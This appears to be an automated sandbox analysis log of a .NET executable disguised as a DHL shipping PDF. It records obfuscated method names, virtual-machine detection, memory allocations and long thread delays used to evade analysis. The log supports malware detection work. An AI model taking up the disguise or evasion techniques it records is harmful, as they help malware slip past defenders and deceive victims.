Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, CxCEXbxw6rnEe06hqJ.cs	High entropy of concatenated method names: 'u6FMWi83eN', 'JyGMQKsvdM', 'ToString', 'mhoMRSxTRc', 'kSbMblFKQ1', 'H3LMIvrj7J', 'z8OMwDREmG', 'AKhMV4X2VL', 'PL4MUUXscf', 'MumMmJ9fEL'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, uUpsiVY6TAwVDPPVKv.cs	High entropy of concatenated method names: 'rwTVBW6iM6', 'RdPVbIEmOK', 'GrPVwNbMNS', 'eWXVUuySSq', 'UVfVmXMLUF', 'XSMwhxywNZ', 'RKcwZ7PdDW', 'DCswqWUen6', 'uh6wlLICdn', 'yoqwE9pdCy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, elMIJ5jjC5cd7k815MY.cs	High entropy of concatenated method names: 'EOk979Yb2A', 'Wlc9z4Y0tk', 'tSHLc29qjN', 'ASLLjQaDvy', 'gwuLvwU3qG', 'QeXLXeAc9w', 'u4fLkmjyHe', 'kQkLB9Yy2P', 'VrpLRo2pVq', 'CF0LbgKeKs'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	High entropy of concatenated method names: 'tYwb3WbQVH', 'NMRbGSj1nK', 'IwobHsr46o', 'diQbxYZN3q', 'v4pbhyqGDs', 'J0sbZ8hH8s', 'EASbqitMqu', 'D1SblFfRid', 'UyqbEXkSM1', 'iQhb7WCqVK'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, Ky9CtO3e8NlRrU9j3G.cs	High entropy of concatenated method names: 'zSrS4ypo3S', 'NQOSnuEwIF', 'teAS3pvrj7', 'Gk9SG3ZZoZ', 'La1SNVXUiP', 'rirSrTE8hb', 'C1YSKdp0n3', 'sjPSuXIL5t', 'U6mS1PUuLG', 'l2NSeBJ0vy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, SG6efAkArUXHEYuTWX.cs	High entropy of concatenated method names: 'oYvjU4yKy3', 'twkjmeiWGw', 'e5OjWhQ2cN', 'AxljQyouWD', 'XbAjS6mgUp', 'wiVjt6TAwV', 'UFYeod6K0c70slFaqj', 'RKRdjxdTD59dE3RjXF', 'atoYCPqAkb9wYgo8Ak', 'xGpjj868bQ'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, YYFH038Fg7Ba4dVsZ8.cs	High entropy of concatenated method names: 'xZK6CsO3kl', 'B866oNVtjS', 'GDf6YbXpCU', 'Q2y6NchCKB', 'YUa6KR7Voj', 'vF56uZY3Wb', 'XR76egnJgD', 'ni56fqCrIQ', 'yP664N23S3', 'duL6AJYNIM'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, fcbQ2DbICkakXMZwoF.cs	High entropy of concatenated method names: 'Dispose', 'm7rjEEFNpu', 'mTjvNTmPhA', 'BqJg2ZYn3E', 'Xvsj7BjyOs', 'mjpjzajE0U', 'ProcessDialogKey', 'Hqfvc4Ujf4', 'iKKvjTYNcj', 'JXfvvRhnG4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, Tj361az0V1Ld0cf4gr.cs	High entropy of concatenated method names: 'VEV92ZRDJg', 'jRy9CiZhan', 'm489oib1yt', 'KCG9YZ4otx', 'ikX9NX6Eym', 'PaI9Kxnwok', 'GYP9uakD2w', 'Vqy9sWWlg9', 'be29DwLv7T', 'kkx9pclC5a'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, tXGowko5OhQ2cNTxly.cs	High entropy of concatenated method names: 'So0ITgMSXe', 'FhQI2JtAHI', 'pdTICAojWt', 'N1KIo3raUM', 'yBBISbKuVY', 'BUHItUMlkH', 'POmIMKwVke', 'SK3I5rIhmI', 'REwIaAeDM0', 'IVSI9cKEUi'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, M4Ujf4EwKKTYNcjuXf.cs	High entropy of concatenated method names: 'm5vaYJSEou', 'iupaNXufuq', 'vniar9iIOR', 'pg9aK1IuGS', 'xEOauLnE4F', 'qP2a1VprV5', 'rCdaeacPbl', 'g68afaEMae', 'Rlma088xJw', 'jXIa4bWvXy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, ygJQObIlKrQWvchxKd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ogtvEASb2j', 'B4Kv7MLw5C', 'xFYvzpqRRv', 'm9YXceQD82', 'lNcXjnPDms', 'k02XvCeEPW', 'sXlXXFjTVE', 'OmpC5hF9i2mXr0Q1HZ4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, Ikv8N3HYv9CSW5eDE4.cs	High entropy of concatenated method names: 'ToString', 'xtQtAqQt2y', 'XdptNZT9ch', 'Tiytr4raKZ', 'CYItKxWKO5', 'urotu42rVO', 'O3Kt1TryVT', 'G5Vte6556p', 'bUotf8vo1w', 'DwLt0e4t3x'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, T9AcilZkX1nbqZn73F.cs	High entropy of concatenated method names: 'tZjMlnikRc', 'ThmM77ce0Q', 'Usg5cusg83', 'siP5jhWfXW', 'dUaMAxka2R', 'D9rMn6u9V8', 'CKFM8x4tGq', 'zJMM3GXiqQ', 'cqmMGhW4Wk', 'b82MHSTFb4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, AYAsSq0sXguNnJDAQA.cs	High entropy of concatenated method names: 'qWUUD3HZCn', 'zLVUpFauKV', 'fjGUyXsU85', 'rVhUT1twfJ', 'LkDUi0Y4PV', 'd6CU27fU2L', 'fgtUJfctyU', 'vIyUCUD89R', 'DLIUo1OPma', 'o4iUPRs12E'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, Q2fOA1qatW7rEFNpul.cs	High entropy of concatenated method names: 'eOiaSWugiR', 'jxVaMNaTgg', 'Ef1aaWHtPa', 'tJ5aLHteCb', 'Op3aF1gLlw', 'uCKasOCjkk', 'Dispose', 'OJF5ReNk9w', 'iTH5b7cxN9', 'sEo5IeuCNd'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, EuWDX0P92e5X6lbA6m.cs	High entropy of concatenated method names: 'WfUwiGtg3w', 'n5SwJ043wG', 'S2OIrMVgYd', 'UGCIKTnVL2', 'XM2IuDCqni', 'zRNI128TCc', 'QonIe0vrum', 'KjUIfJQn1w', 'MrAI0fGKm4', 'yCYI40dEI5'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, ye4SI0eTwELSnnrSOG.cs	High entropy of concatenated method names: 'quxURvpZTX', 'TokUIwhOJn', 'GDnUVBL5Lp', 'NyiV7J985B', 'YFpVzOQgtD', 'uB2UcxcI9J', 'h2PUjIhHX2', 'YnQUvsdFZm', 'vhEUXC2QT6', 'oIsUk4mwRt'

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File created: \dhl shipping details ref id 446331798008765975594-pdf.exe
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	File created: \dhl shipping details ref id 446331798008765975594-pdf.exe			Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe PID: 6876, type: MEMORYSTR

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 4EF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 5620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 6620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 6750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 7750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: C020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: A920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: D020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: E020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 1040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Memory allocated: 12D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Code function: 0_2_0F027301 sldt word ptr [eax]

0_2_0F027301

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 240000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239890	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239781	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239671	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239562	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239453	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239344	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239233	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 239063	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238952	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238843	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 238632	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599714	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599593	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599483	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599374	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599265	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 599046	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598718	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Thread delayed: delay time: 598281	Jump to behavior
